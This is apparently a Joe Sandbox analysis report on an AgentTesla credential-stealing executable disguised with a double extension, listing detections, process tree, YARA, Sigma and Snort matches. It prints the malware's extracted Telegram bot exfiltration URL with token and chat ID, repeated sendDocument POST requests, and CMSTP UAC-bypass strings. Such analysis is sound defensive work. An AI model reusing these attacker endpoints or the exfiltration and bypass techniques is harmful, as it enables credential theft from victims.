Edit tour

Windows Analysis Report
hesaphareketi-01.pdf.exe

Overview

General Information

Sample name:	hesaphareketi-01.pdf.exe
Analysis ID:	1446992
MD5:	8f184daf4d3d0fac93db93c798e616ed
SHA1:	f8c6c99b7e0572347ed1bee3ddb425e31f6cb643
SHA256:	97fa9df0ae7536db7c2427ff65ba51db3bbd22ebe957bf406ebe3f4ba4a46f7f
Tags:	AgentTeslaexegeoTelegramTUR
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Suspicious Double Extension File Execution

Snort IDS alert for network traffic

Yara detected AgentTesla

Yara detected Telegram RAT

Yara detected UAC Bypass using CMSTP

AI detected suspicious sample

Allocates memory in foreign processes

Contains functionality to log keystrokes (.Net Source)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Installs a global keyboard hook

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses an obfuscated file name to hide its real file extension (double extension)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

hesaphareketi-01.pdf.exe (PID: 6992 cmdline: "C:\Users\user\Desktop\hesaphareketi-01.pdf.exe" MD5: 8F184DAF4D3D0FAC93DB93C798E616ED)

conhost.exe (PID: 7156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6596 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendMessage"}

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendMessage?chat_id=6553028274"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
hesaphareketi-01.pdf.exe	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
hesaphareketi-01.pdf.exe	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0x14fa04:$s2: taskkill /IM cmstp.exe /F 0x14f936:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x14fafa:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1208684446.00007FF73434D000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000003.00000002.3677180762.000000000289A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3677180762.000000000289A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.3677180762.000000000289A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: hesaphareketi-01.pdf.exe PID: 6992	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: hesaphareketi-01.pdf.exe PID: 6992	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: hesaphareketi-01.pdf.exe PID: 6992	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: hesaphareketi-01.pdf.exe PID: 6992	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegAsm.exe PID: 6596	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6596	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegAsm.exe PID: 6596	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.hesaphareketi-01.pdf.exe.23682040090.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.hesaphareketi-01.pdf.exe.23682040090.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.hesaphareketi-01.pdf.exe.23682040090.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.hesaphareketi-01.pdf.exe.23682040090.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x314fc:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3156e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x315f8:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3168a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x316f4:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31766:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x317fc:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3188c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
3.2.RegAsm.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.RegAsm.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
3.2.RegAsm.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
3.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x332fc:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3336e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x333f8:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3348a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x334f4:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33566:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x335fc:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3368c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x314fc:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3156e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x315f8:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3168a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x316f4:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31766:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x317fc:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3188c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0x10f9cc:$s2: taskkill /IM cmstp.exe /F 0x10f8fe:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x10fac2:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x332fc:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6dd34:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3336e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6dda6:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x333f8:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6de30:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3348a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6dec2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x334f4:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6df2c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33566:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6df9e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x335fc:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6e034:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3368c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6e0c4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0xd4f94:$s2: taskkill /IM cmstp.exe /F 0xd4ec6:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0xd508a:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x332fc:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3336e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x333f8:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3348a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x334f4:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33566:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x335fc:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3368c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.hesaphareketi-01.pdf.exe.7ff7341d0000.2.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.hesaphareketi-01.pdf.exe.7ff7341d0000.2.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0x13b4fc:$s1: c:\windows\system32\cmstp.exe 0x13ad6c:$s2: taskkill /IM cmstp.exe /F 0x19f20c:$s2: taskkill /IM cmstp.exe /F 0x13ac9e:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x19f13e:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x13ae62:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", "" 0x19f302:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
0.0.hesaphareketi-01.pdf.exe.7ff7341d0000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.0.hesaphareketi-01.pdf.exe.7ff7341d0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0x19f20c:$s2: taskkill /IM cmstp.exe /F 0x19f13e:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x19f302:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
Click to see the 23 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Double Extension File Execution

Source: Process started

Author: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\Desktop\hesaphareketi-01.pdf.exe", CommandLine: "C:\Users\user\Desktop\hesaphareketi-01.pdf.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe, NewProcessName: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe, OriginalFileName: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Users\user\Desktop\hesaphareketi-01.pdf.exe", ProcessId: 6992, ProcessName: hesaphareketi-01.pdf.exe

Snort Signatures

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.7 - Destination IP: 149.154.167.220

Timestamp:	05/24/24-07:41:27.363485
SID:	2851779
Source Port:	49700
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendMessage?chat_id=6553028274"}
Source: RegAsm.exe.6596.3.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendMessage"}

Multi AV Scanner detection for submitted file

Source: hesaphareketi-01.pdf.exe	ReversingLabs: Detection: 34%
Source: hesaphareketi-01.pdf.exe	Virustotal: Detection: 39%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: hesaphareketi-01.pdf.exe, type: SAMPLE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.7ff7341d0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.hesaphareketi-01.pdf.exe.7ff7341d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1208684446.00007FF73434D000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hesaphareketi-01.pdf.exe PID: 6992, type: MEMORYSTR

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49728 version: TLS 1.2

Source: hesaphareketi-01.pdf.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.7:49700 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc7b929ff59cb4Host: api.telegram.orgContent-Length: 980Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc88931a5d0108Host: api.telegram.orgContent-Length: 66751Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc90cd1e5e4e83Host: api.telegram.orgContent-Length: 66751Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc9817b6b6812fHost: api.telegram.orgContent-Length: 70703Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc9a12c02f0750Host: api.telegram.orgContent-Length: 70703Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc9c148a05a466Host: api.telegram.orgContent-Length: 66751Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc9ece9c66b2c0Host: api.telegram.orgContent-Length: 66751Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dca51c7ada008aHost: api.telegram.orgContent-Length: 66754Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dca773f71df223Host: api.telegram.orgContent-Length: 66754Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcaba1a50f6e18Host: api.telegram.orgContent-Length: 66754Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcae7fd2a8c765Host: api.telegram.orgContent-Length: 67229Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcb1ecef588748Host: api.telegram.orgContent-Length: 67317Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcb6c88add5f77Host: api.telegram.orgContent-Length: 66754Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcc4c57a67a1f1Host: api.telegram.orgContent-Length: 66765Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcc78492d93770Host: api.telegram.orgContent-Length: 66765Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dccb6d9b422ea1Host: api.telegram.orgContent-Length: 66765Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcce4615a1f8c7Host: api.telegram.orgContent-Length: 66765Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcd0bba16aab02Host: api.telegram.orgContent-Length: 66765Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcd5bf69ee82a1Host: api.telegram.orgContent-Length: 66989Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcd96a0224ce84Host: api.telegram.orgContent-Length: 66765Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dcdd588123294fHost: api.telegram.orgContent-Length: 66765Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc7b9c07669e21Host: api.telegram.orgContent-Length: 66765Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

ASN Name: TELEGRAMRU TELEGRAMRU

Source: Joe Sandbox View

